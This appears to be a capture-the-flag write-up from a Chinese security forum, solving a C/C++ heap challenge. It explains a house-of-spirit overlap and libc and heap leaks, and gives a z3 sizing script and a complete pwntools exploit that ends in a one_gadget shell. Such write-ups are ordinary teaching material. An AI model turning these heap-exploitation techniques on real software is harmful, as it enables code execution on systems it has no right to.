首页
社区
课程
招聘
[原创]第九题 C与C++
2019-3-23 13:36 5567

[原创]第九题 C与C++

2019-3-23 13:36
5567
1.思路
貌似got表可写,但实际都没用到,难道是非正规的解法

程序的漏洞点就在这个地方
delete一个堆就会计算这个堆的大小
然后就会调用这个堆后面的某个地方。
不知到作者这么设计的用意。

2.正文

其实有很多细节的东西在此就不一一阐述了,有问题的地方在下面留言就行了!

申请堆的大小有点恶心,但是是个递增函数不影响写个z3求
from z3 import *
#t=(0x8888888888888889 * (X + 14) >> 64) >> 3
s=Solver()
X=Int('X')
Y=BitVec('Y',64)
t=(0x8888888888888889 * (X + 14) / 18446744073709551616) / 8
s.add(t*0x18>=0x80)
s.add(And(X>=0,X<=0x400))
#print s.assertions()

if s.check()==sat:
	print s.model()

申请的值还要*0x18里面填了一大堆0
既然明白了delete这个漏洞点,也就是说知道了堆地址你想跳到那执行都没问题!
这里用到的知识就是house of spirit

free掉这个块后在申请一个0x80的堆块就可以形成堆块重叠。

如图就可以泄露libc的基址。
那怎么泄露堆的基址呢!
答案:就是申请两个较大的堆块,free掉形成unsorted bin烤肉串就可以泄露堆的地址

接着就可写利用了
在申请一个堆delete掉
one_gadget就可以了


#-*- coding=utf-8 -*-
from pwn import *
import binascii as B
import sys
#e=ELF('libc6_2.27-3ubuntu1_amd64')
malloc_trim=0x3C27B8
one_gadget=0xE9415
context.arch='amd64'
if len(sys.argv)<2:
	p=process('./candcpp')
	context.log_level='debug'
	gdb.attach(p,'b *0x400DA6\nb *0x401041')
else:
	malloc_trim=0x3C4B78
	one_gadget=0xF02A4
	p=remote(sys.argv[1],int(sys.argv[2]))
def malloc(length,string):
	p.recvuntil('>> ')
	p.sendline('1')
	p.recvuntil('Please input length of the string\n')
	p.sendline(length)
	p.recvuntil('Please input the string\n')
	p.sendline(string)
def new(length,string):
	p.recvuntil('>> ')
	p.sendline('3')
	p.recvuntil('Please input length of the string\n')
	p.sendline(length)
	p.recvuntil('Please input the string\n')
	p.sendline(string)
def delete(index):
	p.recvuntil('>> ')
	p.sendline('4')
	p.recvuntil('Please input index of the string\n')
	p.sendline(index)
def free(index):
	p.recvuntil('>> ')
	p.sendline('2')
	p.recvuntil('Please input index of the string\n')
	p.sendline(index)
def puts(index):
	p.recvuntil('>> ')
	p.sendline('5')
	p.recvuntil('Please input index of the string\n')
	p.sendline(index)
def exp():
	p.recvuntil('Please input your name:')
	p.sendline('wei')
	payload='123'
	malloc('1',payload)
	
	
	payload='123'
	new('1',payload)#0x401228
	
	payload='1'*(458-0x18-0x6-0x8-0x7)+p32(0x4011C0)+'\x00'*3+p64(0x80)+p64(0x401230)+'1'*0x7 + p64(0x4008B0)#double free
	malloc('450',payload)
	
	payload='123'
	malloc('1',payload)
	
	payload='1'*0xF+p64(0x1234)+p64(0x1234)+p32(0x1234)
	malloc('451',payload)
	
	payload='123'
	malloc('1',payload)
	
	#free('4')
	delete('0')
	
	payload='wei'
	malloc('75',payload)
	free('4')
	puts('6')
	p.recvuntil('wei')
	libc_addr=u64(p.recv(6)+'\x00'*2)-malloc_trim
	log.info('addr='+hex(libc_addr))
	one_shot=libc_addr+one_gadget
	log.info('one_shot='+hex(one_shot))
	payload='A'*8
	malloc('451',payload)
	payload='A'*8
	malloc('451',payload)
	payload='123'
	malloc('1',payload)
	free('7')
	free('4')
	puts('6')
	p.recvuntil('wei')
	addr=u64(p.recv(3)+'\x00'*5)
	log.info('addr='+hex(addr))
	payload='1'*(458-0x18-0x6-0x8-0x7)+p32(0x4011C0)+'\x00'*3+p64(0x80)+p64(0x401230)+'1'*0x7 + p32(addr+0x5e8+0x10)+'\x00'*3+p64(one_shot)#double free
	malloc('490',payload)
	
	delete('8')
	p.interactive()
if __name__=="__main__":
	exp()


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-3-25 12:43 被大帅锅编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 15 2019-3-25 19:04
2
0
你这个方法我还真没想到,等会调一下你的exp。。。
游客
登录 | 注册 方可回帖
返回